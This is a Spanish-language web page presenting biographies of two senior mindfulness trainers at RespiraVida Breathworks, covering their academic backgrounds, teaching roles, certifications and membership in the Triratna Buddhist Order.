Sīlamaņi Guirao Goris: silamanies Senior Trainer de RespiraVida Breathworks. Doctor en Enfermería por la Universidad de Alicante y en la actualidad además de profesor Salud Pública en la Escuela de Enfermería La Fe, realiza las labores de Coordinación del Título de Grado en Enfermería de la Universitat de València en la Escuela de Enfermería La Fe. En el área profesional ha trabajado en Enfermería Comunitaria, y tiene amplia experiencia en lenguajes enfermeros, metodología de investigación y salud comunitaria.

Forma parte del profesorado que imparte el Master de mindfulness de la Universidad de Zaragoza.

Es profesor del programa Mindful Eating-Concious Living® con Jan Chozen Bays, MD y Char Wilkins, MSW siendo certificado por la University of California San Diego Center for Mindfulness

Su nombre de ordenación budista en pali Sīlamaņi  que significa "él que es una joya de la ética". Es miembro de la Orden Budista Triratna y forma parte del equipo de docentes del Centro Budista de Valencia.

Dharmakirti Zuazquita: dharmakirtiEs un Senior Trainer acreditado y certificado por Breathworks, Reino Unido, tiene una amplia y sólida experiencia en la práctica y enseñanza de mindfulness y compasión.

Es el director de la Asociación Respira Vida Breathworks. Imparte la formación de profesores de mindfulness tanto en el Reino Unido cómo en España, Argentina y México.

Dharmakirti esta certificado por el Centro de Especialización en Coaching (CEC) como Coach Ontólogico y es licenciado, egresado de la Facultad de Ciencias Exactas, físcas y Naturales de la Universidad de Córdoba, Argentina.

Forma parte del profesorado que imparte el Master de mindfulness de la Universidad de Zaragoza y el "Posgrado Internacional en Psicoterapias Cognitivas - Terapias de tercera generación - Mindfulness y otros abordajes" del  INPSIP: Instituto de Psicología Portugués.

Practica en la Comunidad Budista Triratna desde el año 2001. También, Forma parte del equipo de profesores que imparten la formación de Bodhiyoga International. Es miembro de la Orden Budista Triratna y su nombre, Dharmakirti, es una palabra en sánscrito que significa “el que posee la gloria de la verdad, la enseñanza, el camino y la práctica”.

En los últimos 16 años Dharmakirti ha dirigido y/o participado en más de 60 retiros (el más largo de 4 meses) y más de un centenar de cursos, seminarios, talleres, conferencias públicas y congresos internacionales. Todos estos eventos han tenido que ver con la enseñanza y la práctica de la meditación (mindfulness y compasión) y con la comunicación de la ética, y principios y valores universales provenientes de la tradición budista.

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